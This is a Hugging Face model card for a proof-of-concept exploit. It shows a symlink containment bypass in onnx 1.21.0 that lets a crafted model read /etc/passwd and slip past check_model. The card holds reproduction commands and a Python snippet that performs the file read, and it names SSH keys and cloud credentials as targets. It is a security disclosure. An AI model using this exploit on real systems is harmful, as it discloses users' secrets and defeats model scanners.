You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

PoC β€” onnx 1.21.0 external_data symlink containment bypass (incomplete fix of CVE-2026-27489)

Arbitrary out-of-tree file read when a consumer resolves a model's external data with an empty base_dir. The containment check added by the CVE-2026-27489 fix (onnx/checker.cc:1024-1061) is a no-op when base_dir == "", because std::filesystem::weakly_canonical("") yields an empty string and std::string::find("") returns 0 for every path β€” so the "resolves to a location outside the model directory" guard never fires.

Tested on onnx == 1.21.0 (latest release) / Python 3.13.

Files (HuggingFace repo layout)

File Purpose
model.onnx malicious model; initializer w is EXTERNAL with location = rootlink/etc/passwd
build_model.py regenerates model.onnx and creates the rootlink -> / directory symlink
exploit.py self-contained verifier: bypass + scanner-bypass + blocked control

The rootlink -> / directory symlink is not stored in this repo (a symlink to / is awkward to host). It is created locally by build_model.py, and exploit.py creates its own in a temp dir β€” so the PoC is fully self-contained. In a real attack the symlink ships inside the delivered archive (zip/tar), as in the original CVE-2026-27489 PoC (ln -s /etc/passwd model.data).

Reproduce (one command, self-contained)

pip install onnx==1.21.0
python exploit.py

Expected: [1] reads /etc/passwd into the tensor, [2] check_model PASSES the malicious bytes, [3] the same attack with a non-empty base_dir is BLOCKED.

Reproduce the realistic "shipped archive" scenario

git clone https://huggingface.co/kpanuragh/onnx-external-data-symlink-bypass-poc poc && cd poc
python build_model.py                        # (re)creates model.onnx + rootlink -> /
python - <<'PY'
import onnx
from onnx.external_data_helper import load_external_data_for_model
m = onnx.load("model.onnx", load_external_data=False)
load_external_data_for_model(m, "")          # empty base_dir == cwd-relative resolution
print(bytes(m.graph.initializer[0].raw_data).decode("latin-1"))  # /etc/passwd
PY

onnx.load("model.onnx") (default) is NOT affected β€” it resolves against the file's directory via os.path.abspath, which is non-empty, so the containment check is active. The bug requires the consumer to resolve external data with an empty base, e.g. load_external_data_for_model(model, ""), or check_model() invoked on in-memory model bytes (model_dir == "").

Impact

Confidential file disclosure (/etc/passwd, SSH keys, cloud credentials, /proc/self/environ) at model-load time, plus a model-scanner bypass: the official onnx.checker.check_model(bytes) validates the traversing model as clean.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support